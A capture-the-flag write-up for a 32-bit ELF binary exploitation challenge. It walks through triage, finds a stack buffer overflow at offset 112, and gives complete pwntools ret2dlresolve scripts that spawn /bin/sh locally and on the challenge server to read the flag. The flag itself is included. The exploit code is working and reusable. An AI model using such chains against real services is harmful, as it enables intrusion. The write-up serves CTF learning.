Category: Binary Exploitation
Flag: SCSC26{my_old_chall_pwn3rs_P4wNeRZ_cluB3z}
Description: nc 43.128.69.211 6661
The challenge gave a 32-bit ELF and a TCP service. Initial triage showed the binary was dynamically linked, not stripped, and had no embedded flag string.
file '/home/rei/Downloads/SCSC2026Final/pwnpwnclub.o' && stat -c '%s %F %y' '/home/rei/Downloads/SCSC2026Final/pwnpwnclub.o'
/home/rei/Downloads/SCSC2026Final/pwnpwnclub.o: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=8b867e211e3c26fad2bd2a2f17a3113c78fe7015, for GNU/Linux 3.2.0, not stripped
15644 regular file 2026-05-16 10:06:56.778386669 +0700
strings '/home/rei/Downloads/SCSC2026Final/pwnpwnclub.o' | rg -i "flag|ctf|scsc|\{[^}]+\}|key|secret|password|BEGIN" --max-columns=200
(no output)
The hardening profile made a stack exploit practical: NX was on, but there was no stack canary and no PIE.
checksec --file='/home/rei/Downloads/SCSC2026Final/pwnpwnclub.o' && readelf -h '/home/rei/Downloads/SCSC2026Final/pwnpwnclub.o'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Entry point address: 0x8049090
The symbol table had a small attack surface. The binary imported read and write, and exposed vuln and main.
nm -n '/home/rei/Downloads/SCSC2026Final/pwnpwnclub.o' | rg ' T | W | U '
U read@GLIBC_2.0
U strlen@GLIBC_2.0
U write@GLIBC_2.0
080491a2 T vuln
080491e8 T main
Disassembly showed the bug. vuln placed the input buffer at ebp-0x6c, then called read(0, buf, 0x100). Saved EIP sat 112 bytes after the buffer start.
objdump -d -Mintel '/home/rei/Downloads/SCSC2026Final/pwnpwnclub.o' --disassemble=main --disassemble=vuln
080491a2 <vuln>:
80491a5: 53 push ebx
80491a6: 83 ec 74 sub esp,0x74
80491bf: 8d 55 94 lea edx,[ebp-0x6c]
80491cf: 68 00 01 00 00 push 0x100
80491d4: 8d 45 94 lea eax,[ebp-0x6c]
80491d8: 6a 00 push 0x0
80491da: e8 61 fe ff ff call 8049040 <read@plt>
80491e6: c9 leave
80491e7: c3 ret
080491e8 <main>:
80492ca: e8 a1 fd ff ff call 8049070 <write@plt>
80492d2: e8 cb fe ff ff call 80491a2 <vuln>
There was no win function. A first ROP chain leaked write@got and returned to main; after the service recovered, the remote leak was 0xf7e92270. Rather than depend on matching the remote libc, the final exploit used ret2dlresolve: write fake dynamic linker records into writable memory with read, then ask the resolver to load system and call it with /bin/sh.
The same chain worked locally. It resolved system, ran /bin/sh, and executed a test command.
from pwn import *
context.binary = elf = ELF('/home/rei/Downloads/SCSC2026Final/pwnpwnclub.o', checksec=False)
offset = 112
resolver = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop = ROP(elf)
rop.read(0, resolver.data_addr, len(resolver.payload))
rop.ret2dlresolve(resolver)
payload = fit({offset: rop.chain()})
p = process(elf.path)
p.recvuntil(b'Good Luck\n')
p.send(payload)
p.send(resolver.payload)
p.sendline(b'echo PWNED; id; exit')
print(p.recvall(timeout=3))
PWNED
uid=1000(rei) gid=1000(rei) ...
The remote exploit kept the same chain and made the shell read /service/flag.txt.
from pwn import *
context.binary = elf = ELF('/home/rei/Downloads/SCSC2026Final/pwnpwnclub.o', checksec=False)
context.log_level = 'info'
offset = 112
resolver = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop = ROP(elf)
rop.read(0, resolver.data_addr, len(resolver.payload))
rop.ret2dlresolve(resolver)
payload = fit({offset: rop.chain()})
p = remote('43.128.69.211', 6661, timeout=8)
p.recvuntil(b'Good Luck\n', timeout=8)
p.send(payload)
p.send(resolver.payload)
p.sendline(b'cat /service/flag.txt; exit')
out = p.recvall(timeout=8)
print(out.decode('latin-1', errors='replace'))
SCSC26{my_old_chall_pwn3rs_P4wNeRZ_cluB3z}